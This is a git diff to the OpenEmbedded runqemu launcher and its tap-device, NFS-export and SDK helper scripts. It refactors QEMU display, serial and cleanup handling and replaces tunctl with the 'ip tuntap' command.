+ try:
+ content = os.listdir("/dev/dri")
+ nodes = [i for i in content if i.startswith('renderD')]
+ if len(nodes) == 0:
+ raise RunQemuError("No render nodes found in /dev/dri/: %s. %s" %(content, render_hint))
+ for n in nodes:
+ try:
+ with open(os.path.join("/dev/dri", n), "w") as f:
+ f.close()
+ break
+ except IOError:
+ pass
+ else:
+ raise RunQemuError("None of the render nodes in /dev/dri/ are accessible: %s; you may need to add yourself to 'render' group or otherwise ensure you have read-write permissions on one of them." %(nodes))
+ except FileNotFoundError:
+ raise RunQemuError("/dev/dri directory does not exist; no render nodes available on this machine. %s" %(render_hint))
+
+ def setup_guest_agent(self):
+ if self.guest_agent == True:
+ self.qemu_opt += ' -chardev socket,path=' + self.guest_agent_sockpath + ',server,nowait,id=qga0 '
+ self.qemu_opt += ' -device virtio-serial '
+ self.qemu_opt += ' -device virtserialport,chardev=qga0,name=org.qemu.guest_agent.0 '
+
+ def setup_qmp(self):
+ if self.qmp:
+ self.qemu_opt += " -qmp %s,server,nowait" % self.qmp
+
+ def setup_vga(self):
+ if self.nographic == True:
+ if self.sdl == True:
+ raise RunQemuError('Option nographic makes no sense alongside the sdl option.')
+ if self.gtk == True:
+ raise RunQemuError('Option nographic makes no sense alongside the gtk option.')
+ self.qemu_opt += ' -nographic'
+
+ if self.novga == True:
+ self.qemu_opt += ' -vga none'
+ return
+
+ if (self.gl_es == True or self.gl == True) and (self.sdl == False and self.gtk == False):
+ raise RunQemuError('Option gl/gl-es needs gtk or sdl option.')
+
+ # If we have no display option, we autodetect based upon what qemu supports. We
+ # need our font setup and show-cusor below so we need to see what qemu --help says
+ # is supported so we can pass our correct config in.
+ if not self.nographic and not self.sdl and not self.gtk and not self.publicvnc and not self.egl_headless == True:
+ output = subprocess.check_output([self.qemu_bin, "--help"], universal_newlines=True, env=self.qemu_environ)
+ if "-display gtk" in output:
+ self.gtk = True
+ elif "-display sdl" in output:
+ self.sdl = True
+ else:
+ self.qemu_opt += ' -display none'
+
+ if self.sdl == True or self.gtk == True or self.egl_headless == True:
+
+ if self.qemu_system.endswith(('i386', 'x86_64')):
+ if self.gl or self.gl_es or self.egl_headless:
+ self.qemu_opt += ' -device virtio-vga-gl '
+ else:
+ self.qemu_opt += ' -device virtio-vga '
+
+ self.qemu_opt += ' -display '
+ if self.egl_headless == True:
+ self.check_render_nodes()
+ self.set_dri_path()
+ self.qemu_opt += 'egl-headless,'
+ else:
+ if self.sdl == True:
+ self.qemu_opt += 'sdl,'
+ elif self.gtk == True:
+ self.qemu_environ['FONTCONFIG_PATH'] = '/etc/fonts'
+ self.qemu_opt += 'gtk,'
+
+ if self.gl == True:
+ self.set_dri_path()
+ self.qemu_opt += 'gl=on,'
+ elif self.gl_es == True:
+ self.set_dri_path()
+ self.qemu_opt += 'gl=es,'
+ self.qemu_opt += 'show-cursor=on'
+
+ self.qemu_opt += ' %s' %self.get('QB_GRAPHICS')
+
+ def setup_serial(self):
+ # Setup correct kernel command line for serial
+ if self.get('SERIAL_CONSOLES') and (self.serialstdio == True or self.serialconsole == True or self.nographic == True or self.tcpserial_portnum):
+ for entry in self.get('SERIAL_CONSOLES').split(' '):
+ self.kernel_cmdline_script += ' console=%s' %entry.split(';')[1]
+
+ # We always wants ttyS0 and ttyS1 in qemu machines (see SERIAL_CONSOLES).
+ # If no serial or serialtcp options were specified, only ttyS0 is created
+ # and sysvinit shows an error trying to enable ttyS1:
+ # INIT: Id "S1" respawning too fast: disabled for 5 minutes
+ serial_num = len(re.findall("-serial", self.qemu_opt))
+
+ # Assume if the user passed serial options, they know what they want
+ # and pad to two devices
+ if serial_num == 1:
+ self.qemu_opt += " -serial null"
+ elif serial_num >= 2:
+ return
+
+ if self.serialstdio == True or self.nographic == True:
+ self.qemu_opt += " -serial mon:stdio"
+ else:
+ self.qemu_opt += " -serial mon:vc"
+ if self.serialconsole:
+ if sys.stdin.isatty():
+ subprocess.check_call(("stty", "intr", "^]"))
+ logger.info("Interrupt character is '^]'")
+
+ self.qemu_opt += " %s" % self.get("QB_SERIAL_OPT")
+
+ serial_num = len(re.findall("-serial", self.qemu_opt))
+ if serial_num < 2:
+ self.qemu_opt += " -serial null"
+
+ def find_qemu(self):
qemu_bin = os.path.join(self.bindir_native, self.qemu_system)
# It is possible to have qemu-native in ASSUME_PROVIDED, and it won't
@@ -1330,11 +1526,18 @@ class BaseConfig(object):
if not os.access(qemu_bin, os.X_OK):
raise OEPathError("No QEMU binary '%s' could be found" % qemu_bin)
+ self.qemu_bin = qemu_bin
- self.qemu_opt = "%s %s %s %s" % (qemu_bin, self.get('NETWORK_CMD'), self.get('ROOTFS_OPTIONS'), self.get('QB_OPT_APPEND'))
+ def setup_final(self):
+
+ self.find_qemu()
+
+ self.qemu_opt = "%s %s %s %s %s" % (self.qemu_bin, self.get('NETWORK_CMD'), self.get('QB_RNG'), self.get('ROOTFS_OPTIONS'), self.get('QB_OPT_APPEND').replace('@DEPLOY_DIR_IMAGE@', self.get('DEPLOY_DIR_IMAGE')))
for ovmf in self.ovmf_bios:
format = ovmf.rsplit('.', 1)[-1]
+ if format == "bin":
+ format = "raw"
self.qemu_opt += ' -drive if=pflash,format=%s,file=%s' % (format, ovmf)
self.qemu_opt += ' ' + self.qemu_opt_script
@@ -1353,61 +1556,44 @@ class BaseConfig(object):
if self.snapshot:
self.qemu_opt += " -snapshot"
- if self.serialconsole:
- if sys.stdin.isatty():
- subprocess.check_call(("stty", "intr", "^]"))
- logger.info("Interrupt character is '^]'")
-
- first_serial = ""
- if not re.search("-nographic", self.qemu_opt):
- first_serial = "-serial mon:vc"
- # We always want a ttyS1. Since qemu by default adds a serial
- # port when nodefaults is not specified, it seems that all that
- # would be needed is to make sure a "-serial" is there. However,
- # it appears that when "-serial" is specified, it ignores the
- # default serial port that is normally added. So here we make
- # sure to add two -serial if there are none. And only one if
- # there is one -serial already.
- serial_num = len(re.findall("-serial", self.qemu_opt))
- if serial_num == 0:
- self.qemu_opt += " %s %s" % (first_serial, self.get("QB_SERIAL_OPT"))
- elif serial_num == 1:
- self.qemu_opt += " %s" % self.get("QB_SERIAL_OPT")
-
- # We always wants ttyS0 and ttyS1 in qemu machines (see SERIAL_CONSOLES),
- # if not serial or serialtcp options was specified only ttyS0 is created
- # and sysvinit shows an error trying to enable ttyS1:
- # INIT: Id "S1" respawning too fast: disabled for 5 minutes
- serial_num = len(re.findall("-serial", self.qemu_opt))
- if serial_num == 0:
- if re.search("-nographic", self.qemu_opt) or self.serialstdio:
- self.qemu_opt += " -serial mon:stdio -serial null"
- else:
- self.qemu_opt += " -serial mon:vc -serial null"
+ self.setup_guest_agent()
+ self.setup_qmp()
+ self.setup_serial()
+ self.setup_vga()
def start_qemu(self):
import shlex
if self.kernel:
- kernel_opts = "-kernel %s -append '%s %s %s %s'" % (self.kernel, self.kernel_cmdline,
+ kernel_opts = "-kernel %s" % (self.kernel)
+ if self.get('QB_KERNEL_CMDLINE') == "none":
+ if self.bootparams:
+ kernel_opts += " -append '%s'" % (self.bootparams)
+ else:
+ kernel_opts += " -append '%s %s %s %s'" % (self.kernel_cmdline,
self.kernel_cmdline_script, self.get('QB_KERNEL_CMDLINE_APPEND'),
self.bootparams)
- if self.bios:
- kernel_opts += " -bios %s" % self.bios
if self.dtb:
kernel_opts += " -dtb %s" % self.dtb
else:
kernel_opts = ""
+
+ if self.bios:
+ self.qemu_opt += " -bios %s" % self.bios
+
cmd = "%s %s" % (self.qemu_opt, kernel_opts)
cmds = shlex.split(cmd)
logger.info('Running %s\n' % cmd)
+ with open('/proc/uptime', 'r') as f:
+ uptime_seconds = f.readline().split()[0]
+ logger.info('Host uptime: %s\n' % uptime_seconds)
pass_fds = []
if self.taplock_descriptor:
pass_fds = [self.taplock_descriptor.fileno()]
if len(self.portlocks):
for descriptor in self.portlocks.values():
pass_fds.append(descriptor.fileno())
- process = subprocess.Popen(cmds, stderr=subprocess.PIPE, pass_fds=pass_fds)
- self.qemupid = process.pid
+ process = subprocess.Popen(cmds, stderr=subprocess.PIPE, pass_fds=pass_fds, env=self.qemu_environ)
+ self.qemuprocess = process
retcode = process.wait()
if retcode:
if retcode == -signal.SIGTERM:
@@ -1415,6 +1601,13 @@ class BaseConfig(object):
else:
logger.error("Failed to run qemu: %s", process.stderr.read().decode())
+ def cleanup_cmd(self):
+ cmd = self.get('QB_CLEANUP_CMD')
+ if cmd != '':
+ logger.info('Running cleanup command %s' % str(cmd))
+ if subprocess.call(cmd, shell=True) != 0:
+ raise RunQemuError('Failed to run %s' % str(cmd))
+
def cleanup(self):
if self.cleaned:
return
@@ -1423,30 +1616,48 @@ class BaseConfig(object):
signal.signal(signal.SIGTERM, signal.SIG_IGN)
logger.info("Cleaning up")
+
+ if self.qemuprocess:
+ try:
+ # give it some time to shut down, ignore return values and output
+ self.qemuprocess.send_signal(signal.SIGTERM)
+ self.qemuprocess.communicate(timeout=5)
+ except subprocess.TimeoutExpired:
+ self.qemuprocess.kill()
+
+ with open('/proc/uptime', 'r') as f:
+ uptime_seconds = f.readline().split()[0]
+ logger.info('Host uptime: %s\n' % uptime_seconds)
if self.cleantap:
- cmd = ('sudo', self.qemuifdown, self.tap, self.bindir_native)
+ cmd = ('sudo', self.qemuifdown, self.tap)
logger.debug('Running %s' % str(cmd))
subprocess.check_call(cmd)
self.release_taplock()
- self.release_portlock()
if self.nfs_running:
logger.info("Shutting down the userspace NFS server...")
cmd = ("runqemu-export-rootfs", "stop", self.rootfs)
logger.debug('Running %s' % str(cmd))
subprocess.check_call(cmd)
+ self.release_portlock()
if self.saved_stty:
subprocess.check_call(("stty", self.saved_stty))
- if self.clean_nfs_dir:
- logger.info('Removing %s' % self.rootfs)
- shutil.rmtree(self.rootfs)
- shutil.rmtree('%s.pseudo_state' % self.rootfs)
+ if self.cleanup_files:
+ for ent in self.cleanup_files:
+ logger.info('Removing %s' % ent)
+ if os.path.isfile(ent):
+ os.remove(ent)
+ else:
+ shutil.rmtree(ent)
+
+ # Deliberately ignore the return code of 'tput smam'.
+ subprocess.call(["tput", "smam"])
self.cleaned = True
- def run_bitbake_env(self, mach=None):
+ def run_bitbake_env(self, mach=None, target=''):
bitbake = shutil.which('bitbake')
if not bitbake:
return
@@ -1459,22 +1670,33 @@ class BaseConfig(object):
multiconfig = "mc:%s" % multiconfig
if mach:
- cmd = 'MACHINE=%s bitbake -e %s' % (mach, multiconfig)
+ cmd = 'MACHINE=%s bitbake -e %s %s' % (mach, multiconfig, target)
else:
- cmd = 'bitbake -e %s' % multiconfig
+ cmd = 'bitbake -e %s %s' % (multiconfig, target)
logger.info('Running %s...' % cmd)
- return subprocess.check_output(cmd, shell=True).decode('utf-8')
+ try:
+ return subprocess.check_output(cmd, shell=True).decode('utf-8')
+ except subprocess.CalledProcessError as err:
+ logger.warning("Couldn't run '%s' to gather environment information, maybe the target wasn't an image name, will retry with virtual/kernel as a target:\n%s" % (cmd, err.output.decode('utf-8')))
+ # need something with IMAGE_NAME_SUFFIX/IMAGE_LINK_NAME defined (kernel also inherits image-artifact-names.bbclass)
+ target = 'virtual/kernel'
+ if mach:
+ cmd = 'MACHINE=%s bitbake -e %s %s' % (mach, multiconfig, target)
+ else:
+ cmd = 'bitbake -e %s %s' % (multiconfig, target)
+ try:
+ return subprocess.check_output(cmd, shell=True).decode('utf-8')
+ except subprocess.CalledProcessError as err:
+ logger.warning("Couldn't run '%s' to gather environment information, giving up with 'bitbake -e':\n%s" % (cmd, err.output.decode('utf-8')))
+ return ''
+
- def load_bitbake_env(self, mach=None):
+ def load_bitbake_env(self, mach=None, target=None):
if self.bitbake_e:
return
- try:
- self.bitbake_e = self.run_bitbake_env(mach=mach)
- except subprocess.CalledProcessError as err:
- self.bitbake_e = ''
- logger.warning("Couldn't run 'bitbake -e' to gather environment information:\n%s" % err.output.decode('utf-8'))
+ self.bitbake_e = self.run_bitbake_env(mach=mach, target=target)
def validate_combos(self):
if (self.fstype in self.vmtypes) and self.kernel:
@@ -1504,7 +1726,7 @@ class BaseConfig(object):
return result
raise RunQemuError("Native sysroot directory %s doesn't exist" % result)
else:
- raise RunQemuError("Can't find STAGING_BINDIR_NATIVE in '%s' output" % cmd)
+ raise RunQemuError("Can't find STAGING_BINDIR_NATIVE in '%s' output" % str(cmd))
def main():
@@ -1514,12 +1736,14 @@ def main():
try:
config = BaseConfig()
+ renice = os.path.expanduser("~/bin/runqemu-renice")
+ if os.path.exists(renice):
+ logger.info('Using %s to renice' % renice)
+ subprocess.check_call([renice, str(os.getpid())])
+
def sigterm_handler(signum, frame):
- logger.info("SIGTERM received")
- os.kill(config.qemupid, signal.SIGTERM)
+ logger.info("Received signal: %s" % (signum))
config.cleanup()
- # Deliberately ignore the return code of 'tput smam'.
- subprocess.call(["tput", "smam"])
signal.signal(signal.SIGTERM, sigterm_handler)
config.check_args()
@@ -1531,6 +1755,7 @@ def main():
config.setup_network()
config.setup_rootfs()
config.setup_final()
+ config.setup_cmd()
config.start_qemu()
except RunQemuError as err:
logger.error(err)
@@ -1540,9 +1765,8 @@ def main():
traceback.print_exc()
return 1
finally:
+ config.cleanup_cmd()
config.cleanup()
- # Deliberately ignore the return code of 'tput smam'.
- subprocess.call(["tput", "smam"])
if __name__ == "__main__":
sys.exit(main())
diff --git a/scripts/runqemu-addptable2image b/scripts/runqemu-addptable2image
index ca29427258..87a8da3a63 100755
--- a/scripts/runqemu-addptable2image
+++ b/scripts/runqemu-addptable2image
@@ -1,6 +1,6 @@
#!/bin/sh
-# Add a partion table to an ext2 image file
+# Add a partition table to an ext2 image file
#
# Copyright (C) 2006-2007 OpenedHand Ltd.
#
diff --git a/scripts/runqemu-export-rootfs b/scripts/runqemu-export-rootfs
index 384c091713..6a8acd0d5a 100755
--- a/scripts/runqemu-export-rootfs
+++ b/scripts/runqemu-export-rootfs
@@ -34,16 +34,12 @@ if [ -z "$SYSROOT_SETUP_SCRIPT" ]; then
echo "Did you forget to source your build environment setup script?"
exit 1
fi
-. $SYSROOT_SETUP_SCRIPT meta-ide-support
+. $SYSROOT_SETUP_SCRIPT qemu-helper-native
if [ ! -e "$OECORE_NATIVE_SYSROOT/usr/bin/unfsd" ]; then
echo "Error: Unable to find unfsd binary in $OECORE_NATIVE_SYSROOT/usr/bin/"
- if [ "x$OECORE_DISTRO_VERSION" = "x" ]; then
- echo "Have you run 'bitbake meta-ide-support'?"
- else
- echo "This shouldn't happen - something is missing from your toolchain installation"
- fi
+ echo "This shouldn't happen - something is missing from your toolchain installation"
exit 1
fi
@@ -74,26 +70,11 @@ MOUNTD_PORT=${MOUNTD_PORT:=$[ 3048 + 2 * $NFS_INSTANCE ]}
## For debugging you would additionally add
## --debug all
-UNFSD_OPTS="-p -N -i $NFSPID -e $EXPORTS -n $NFSD_PORT -m $MOUNTD_PORT"
+UNFSD_OPTS="-p -i $NFSPID -e $EXPORTS -n $NFSD_PORT -m $MOUNTD_PORT"
# See how we were called.
case "$1" in
start)
- PORTMAP_RUNNING=`ps -ef | grep portmap | grep -v grep`
- RPCBIND_RUNNING=`ps -ef | grep rpcbind | grep -v grep`
- if [[ "x$PORTMAP_RUNNING" = "x" && "x$RPCBIND_RUNNING" = "x" ]]; then
- echo "======================================================="
- echo "Error: neither rpcbind nor portmap appear to be running"
- echo "Please install and start one of these services first"
- echo "======================================================="
- echo "Tip: for recent Ubuntu hosts, run:"
- echo " sudo apt-get install rpcbind"
- echo "Then add OPTIONS=\"-i -w\" to /etc/default/rpcbind and run"
- echo " sudo service portmap restart"
-
- exit 1
- fi
-
echo "Creating exports file..."
echo "$NFS_EXPORT_DIR (rw,no_root_squash,no_all_squash,insecure)" > $EXPORTS
diff --git a/scripts/runqemu-extract-sdk b/scripts/runqemu-extract-sdk
index 9bc0c07fb8..db05da25f2 100755
--- a/scripts/runqemu-extract-sdk
+++ b/scripts/runqemu-extract-sdk
@@ -25,7 +25,7 @@ if [ -z "$SYSROOT_SETUP_SCRIPT" ]; then
echo "Did you forget to source your build system environment setup script?"
exit 1
fi
-. $SYSROOT_SETUP_SCRIPT meta-ide-support
+. $SYSROOT_SETUP_SCRIPT qemu-helper-native
PSEUDO_OPTS="-P $OECORE_NATIVE_SYSROOT/usr"
ROOTFS_TARBALL=$1
diff --git a/scripts/runqemu-gen-tapdevs b/scripts/runqemu-gen-tapdevs
index a6ee4517da..a00c79c442 100755
--- a/scripts/runqemu-gen-tapdevs
+++ b/scripts/runqemu-gen-tapdevs
@@ -1,53 +1,58 @@
#!/bin/bash
#
# Create a "bank" of tap network devices that can be used by the
-# runqemu script. This script needs to be run as root, and will
-# use the tunctl binary from the build system sysroot. Note: many Linux
-# distros these days still use an older version of tunctl which does not
-# support the group permissions option, hence the need to use the build
-# system provided version.
+# runqemu script. This script needs to be run as root
#
# Copyright (C) 2010 Intel Corp.
#
# SPDX-License-Identifier: GPL-2.0-only
#
-uid=`id -u`
gid=`id -g`
-if [ -n "$SUDO_UID" ]; then
- uid=$SUDO_UID
-fi
if [ -n "$SUDO_GID" ]; then
gid=$SUDO_GID
fi
usage() {
- echo "Usage: sudo $0 <uid> <gid> <num> <staging_bindir_native>"
- echo "Where <uid> is the numeric user id the tap devices will be owned by"
+ echo "Usage: sudo $0 <gid> <num>"
echo "Where <gid> is the numeric group id the tap devices will be owned by"
echo "<num> is the number of tap devices to create (0 to remove all)"
- echo "<native-sysroot-basedir> is the path to the build system's native sysroot"
echo "For example:"
echo "$ bitbake qemu-helper-native"
- echo "$ sudo $0 $uid $gid 4 tmp/sysroots-components/x86_64/qemu-helper-native/usr/bin"
+ echo "$ sudo $0 $gid 4"
echo ""
exit 1
}
-if [ $# -ne 4 ]; then
+# Allow passing 4 arguments for backward compatibility with warning
+if [ $# -gt 4 ]; then
+ echo "Error: Incorrect number of arguments"
+ usage
+fi
+if [ $# -gt 3 ]; then
+ echo "Warning: Ignoring the <native-sysroot-basedir> parameter. It is no longer needed."
+fi
+if [ $# -gt 2 ]; then
+ echo "Warning: Ignoring the <uid> parameter. It is no longer needed."
+ GID=$2
+ COUNT=$3
+elif [ $# -eq 2 ]; then
+ GID=$1
+ COUNT=$2
+else
echo "Error: Incorrect number of arguments"
usage
fi
-TUID=$1
-GID=$2
-COUNT=$3
-STAGING_BINDIR_NATIVE=$4
-TUNCTL=$STAGING_BINDIR_NATIVE/tunctl
-if [[ ! -x "$TUNCTL" || -d "$TUNCTL" ]]; then
- echo "Error: $TUNCTL is not an executable"
- usage
+if [ -z "$OE_TAP_NAME" ]; then
+ OE_TAP_NAME=tap
+fi
+
+# check if COUNT is a number and >= 0
+if ! [ $COUNT -ge 0 ]; then
+ echo "Error: Incorrect count: $COUNT"
+ exit 1
fi
if [ $EUID -ne 0 ]; then
@@ -62,48 +67,41 @@ if [ ! -x "$RUNQEMU_IFUP" ]; then
exit 1
fi
-IFCONFIG=`which ip 2> /dev/null`
-if [ -z "$IFCONFIG" ]; then
- # Is it ever anywhere else?
- IFCONFIG=/sbin/ip
-fi
-if [ ! -x "$IFCONFIG" ]; then
- echo "$IFCONFIG cannot be executed"
- exit 1
-fi
-
-if [ $COUNT -ge 0 ]; then
- # Ensure we start with a clean slate
- for tap in `$IFCONFIG link | grep tap | awk '{ print \$2 }' | sed s/://`; do
- echo "Note: Destroying pre-existing tap interface $tap..."
- $TUNCTL -d $tap
- done
- rm -f /etc/runqemu-nosudo
+if interfaces=`ip tuntap list` 2>/dev/null; then
+ interfaces=`echo "$interfaces" |cut -f1 -d: |grep -E "^$OE_TAP_NAME.*"`
else
- echo "Error: Incorrect count: $COUNT"
+ echo "Failed to call 'ip tuntap list'" >&2
exit 1
fi
-if [ $COUNT -gt 0 ]; then
- echo "Creating $COUNT tap devices for UID: $TUID GID: $GID..."
- for ((index=0; index < $COUNT; index++)); do
- echo "Creating tap$index"
- ifup=`$RUNQEMU_IFUP $TUID $GID $STAGING_BINDIR_NATIVE 2>&1`
- if [ $? -ne 0 ]; then
- echo "Error running tunctl: $ifup"
- exit 1
- fi
- done
+# Ensure we start with a clean slate
+for tap in $interfaces; do
+ echo "Note: Destroying pre-existing tap interface $tap..."
+ ip tuntap del $tap mode tap
+done
+rm -f /etc/runqemu-nosudo
- echo "Note: For systems running NetworkManager, it's recommended"
- echo "Note: that the tap devices be set as unmanaged in the"
- echo "Note: NetworkManager.conf file. Add the following lines to"
- echo "Note: /etc/NetworkManager/NetworkManager.conf"
- echo "[keyfile]"
- echo "unmanaged-devices=interface-name:tap*"
-
- # The runqemu script will check for this file, and if it exists,
- # will use the existing bank of tap devices without creating
- # additional ones via sudo.
- touch /etc/runqemu-nosudo
+if [ $COUNT -eq 0 ]; then
+ exit 0
fi
+
+echo "Creating $COUNT tap devices for GID: $GID..."
+for ((index=0; index < $COUNT; index++)); do
+ echo "Creating $OE_TAP_NAME$index"
+ if ! ifup=`$RUNQEMU_IFUP $GID 2>&1`; then
+ echo "Error bringing up interface: $ifup"
+ exit 1
+ fi
+done
+
+echo "Note: For systems running NetworkManager, it's recommended"
+echo "Note: that the tap devices be set as unmanaged in the"
+echo "Note: NetworkManager.conf file. Add the following lines to"
+echo "Note: /etc/NetworkManager/NetworkManager.conf"
+echo "[keyfile]"
+echo "unmanaged-devices=interface-name:$OE_TAP_NAME*"
+
+# The runqemu script will check for this file, and if it exists,
+# will use the existing bank of tap devices without creating
+# additional ones via sudo.
+touch /etc/runqemu-nosudo
diff --git a/scripts/runqemu-ifdown b/scripts/runqemu-ifdown
index a104c37bf8..822a2a39b9 100755
--- a/scripts/runqemu-ifdown
+++ b/scripts/runqemu-ifdown
@@ -1,8 +1,7 @@
#!/bin/bash
#
# QEMU network configuration script to bring down tap devices. This
-# utility needs to be run as root, and will use the tunctl binary
-# from the native sysroot.
+# utility needs to be run as root, and will use the ip utility
#
# If you find yourself calling this script a lot, you can add the
# the following to your /etc/sudoers file to be able to run this
@@ -17,7 +16,7 @@
#
usage() {
- echo "sudo $(basename $0) <tap-dev> <native-sysroot-basedir>"
+ echo "sudo $(basename $0) <tap-dev>"
}
if [ $EUID -ne 0 ]; then
@@ -25,30 +24,31 @@ if [ $EUID -ne 0 ]; then
exit 1
fi
-if [ $# -ne 2 ]; then
+if [ $# -gt 2 ] || [ $# -lt 1 ]; then
usage
exit 1
fi
+# backward compatibility
+if [ $# -eq 2 ] ; then
+ echo "Warning: native-sysroot-basedir parameter is ignored. It is no longer needed." >&2
+fi
+
TAP=$1
-STAGING_BINDIR_NATIVE=$2
-TUNCTL=$STAGING_BINDIR_NATIVE/tunctl
-if [ ! -e "$TUNCTL" ]; then
- echo "Error: Unable to find tunctl binary in '$STAGING_BINDIR_NATIVE', please bitbake qemu-helper-native"
+if ! ip tuntap del $TAP mode tap 2>/dev/null; then
+ echo "Error: Unable to run up tuntap del"
exit 1
fi
-$TUNCTL -d $TAP
-
-IFCONFIG=`which ip 2> /dev/null`
-if [ "x$IFCONFIG" = "x" ]; then
+IPTOOL=`which ip 2> /dev/null`
+if [ "x$IPTOOL" = "x" ]; then
# better than nothing...
- IFCONFIG=/sbin/ip
+ IPTOOL=/sbin/ip
fi
-if [ -x "$IFCONFIG" ]; then
- if `$IFCONFIG link show $TAP > /dev/null 2>&1`; then
- $IFCONFIG link del $TAP
+if [ -x "$IPTOOL" ]; then
+ if `$IPTOOL link show $TAP > /dev/null 2>&1`; then
+ $IPTOOL link del $TAP
fi
fi
# cleanup the remaining iptables rules
@@ -60,7 +60,13 @@ if [ ! -x "$IPTABLES" ]; then
echo "$IPTABLES cannot be executed"
exit 1
fi
-n=$[ (`echo $TAP | sed 's/tap//'` * 2) + 1 ]
-dest=$[ (`echo $TAP | sed 's/tap//'` * 2) + 2 ]
+
+if [ -z "$OE_TAP_NAME" ]; then
+ OE_TAP_NAME=tap
+fi
+
+n=$[ (`echo $TAP | sed "s/$OE_TAP_NAME//"` * 2) + 1 ]
+dest=$[ (`echo $TAP | sed "s/$OE_TAP_NAME//"` * 2) + 2 ]
$IPTABLES -D POSTROUTING -t nat -j MASQUERADE -s 192.168.7.$n/32
$IPTABLES -D POSTROUTING -t nat -j MASQUERADE -s 192.168.7.$dest/32
+true
diff --git a/scripts/runqemu-ifup b/scripts/runqemu-ifup
index bb661740c5..05c9325b6b 100755
--- a/scripts/runqemu-ifup
+++ b/scripts/runqemu-ifup
@@ -1,10 +1,7 @@
#!/bin/bash
#
# QEMU network interface configuration script. This utility needs to
-# be run as root, and will use the tunctl binary from a native sysroot.
-# Note: many Linux distros these days still use an older version of
-# tunctl which does not support the group permissions option, hence
-# the need to use build system's version.
+# be run as root, and will use the ip utility
#
# If you find yourself calling this script a lot, you can add the
# the following to your /etc/sudoers file to be able to run this
@@ -24,7 +21,7 @@
#
usage() {
- echo "sudo $(basename $0) <uid> <gid> <native-sysroot-basedir>"
+ echo "sudo $(basename $0) <gid>"
}
if [ $EUID -ne 0 ]; then
@@ -32,41 +29,43 @@ if [ $EUID -ne 0 ]; then
exit 1
fi
-if [ $# -ne 3 ]; then
+if [ $# -eq 2 ]; then
+ echo "Warning: uid parameter is ignored. It is no longer needed." >&2
+ GROUP="$2"
+elif [ $# -eq 1 ]; then
+ GROUP="$1"
+else
usage
exit 1
fi
-USERID="-u $1"
-GROUP="-g $2"
-STAGING_BINDIR_NATIVE=$3
-TUNCTL=$STAGING_BINDIR_NATIVE/tunctl
-if [ ! -x "$TUNCTL" ]; then
- echo "Error: Unable to find tunctl binary in '$STAGING_BINDIR_NATIVE', please bitbake qemu-helper-native"
- exit 1
+if [ -z "$OE_TAP_NAME" ]; then
+ OE_TAP_NAME=tap
fi
-TAP=`$TUNCTL -b $GROUP 2>&1`
-STATUS=$?
-if [ $STATUS -ne 0 ]; then
-# If tunctl -g fails, try using tunctl -u, for older host kernels
-# which do not support the TUNSETGROUP ioctl
- TAP=`$TUNCTL -b $USERID 2>&1`
- STATUS=$?
- if [ $STATUS -ne 0 ]; then
- echo "tunctl failed:"
- exit 1
+if taps=$(ip tuntap list 2>/dev/null); then
+ tap_no_last=$(echo "$taps" |cut -f 1 -d ":" |grep -E "^$OE_TAP_NAME.*" |sed "s/$OE_TAP_NAME//g" | sort -rn | head -n 1)
+ if [ -z "$tap_no_last" ]; then
+ tap_no=0
+ else
+ tap_no=$(("$tap_no_last" + 1))
fi
+ ip tuntap add "$OE_TAP_NAME$tap_no" mode tap group "$GROUP" && TAP=$OE_TAP_NAME$tap_no
+fi
+
+if [ -z "$TAP" ]; then
+ echo "Error: Unable to find a tap device to use"
+ exit 1
fi
-IFCONFIG=`which ip 2> /dev/null`
-if [ "x$IFCONFIG" = "x" ]; then
+IPTOOL=`which ip 2> /dev/null`
+if [ "x$IPTOOL" = "x" ]; then
# better than nothing...
- IFCONFIG=/sbin/ip
+ IPTOOL=/sbin/ip
fi
-if [ ! -x "$IFCONFIG" ]; then
- echo "$IFCONFIG cannot be executed"
+if [ ! -x "$IPTOOL" ]; then
+ echo "$IPTOOL cannot be executed"
exit 1
fi
@@ -79,22 +78,22 @@ if [ ! -x "$IPTABLES" ]; then
exit 1
fi
-n=$[ (`echo $TAP | sed 's/tap//'` * 2) + 1 ]
-$IFCONFIG addr add 192.168.7.$n/32 broadcast 192.168.7.255 dev $TAP
+n=$[ (`echo $TAP | sed "s/$OE_TAP_NAME//"` * 2) + 1 ]
+$IPTOOL addr add 192.168.7.$n/32 broadcast 192.168.7.255 dev $TAP
STATUS=$?
if [ $STATUS -ne 0 ]; then
echo "Failed to set up IP addressing on $TAP"
exit 1
fi
-$IFCONFIG link set dev $TAP up
+$IPTOOL link set dev $TAP up
STATUS=$?
if [ $STATUS -ne 0 ]; then
echo "Failed to bring up $TAP"
exit 1
fi
-dest=$[ (`echo $TAP | sed 's/tap//'` * 2) + 2 ]
-$IFCONFIG route add to 192.168.7.$dest dev $TAP
+dest=$[ (`echo $TAP | sed "s/$OE_TAP_NAME//"` * 2) + 2 ]
+$IPTOOL route add to 192.168.7.$dest dev $TAP
STATUS=$?
if [ $STATUS -ne 0 ]; then
echo "Failed to add route to 192.168.7.$dest using $TAP"
diff --git a/scripts/runqemu.README b/scripts/runqemu.README
index da9abd7dfb..e5f4b4634c 100644
--- a/scripts/runqemu.README
+++ b/scripts/runqemu.README
@@ -1,12 +1,12 @@
Using OE images with QEMU
=========================
-OE-Core can generate qemu bootable kernels and images with can be used
+OE-Core can generate qemu bootable kernels and images which can be used
on a desktop system. The scripts currently support booting ARM, MIPS, PowerPC
-and x86 (32 and 64 bit) images. The scripts can be used within the OE build
-system or externaly.
+and x86 (32 and 64 bit) images. The scripts can be used within the OE build
+system or externally.
-The runqemu script is run as:
+The runqemu script is run as:
runqemu <machine> <zimage> <filesystem>
@@ -15,13 +15,13 @@ where:
<machine> is the machine/architecture to use (qemuarm/qemumips/qemuppc/qemux86/qemux86-64)
<zimage> is the path to a kernel (e.g. zimage-qemuarm.bin)
<filesystem> is the path to an ext2 image (e.g. filesystem-qemuarm.ext2) or an nfs directory
-
-If <machine> isn't specified, the script will try to detect the machine name
+
+If <machine> isn't specified, the script will try to detect the machine name
from the name of the <zimage> file.
If <filesystem> isn't specified, nfs booting will be assumed.
-When used within the build system, it will default to qemuarm, ext2 and the last kernel and
+When used within the build system, it will default to qemuarm, ext2 and the last kernel and
core-image-sato-sdk image built by the build system. If an sdk image isn't present it will look
for sato and minimal images.
@@ -31,7 +31,7 @@ Full usage instructions can be seen by running the command with no options speci
Notes
=====
- - The scripts run qemu using sudo. Change perms on /dev/net/tun to
+ - The scripts run qemu using sudo. Change perms on /dev/net/tun to
run as non root. The runqemu-gen-tapdevs script can also be used by
root to prepopulate the appropriate network devices.
- You can access the host computer at 192.168.7.1 within the image.
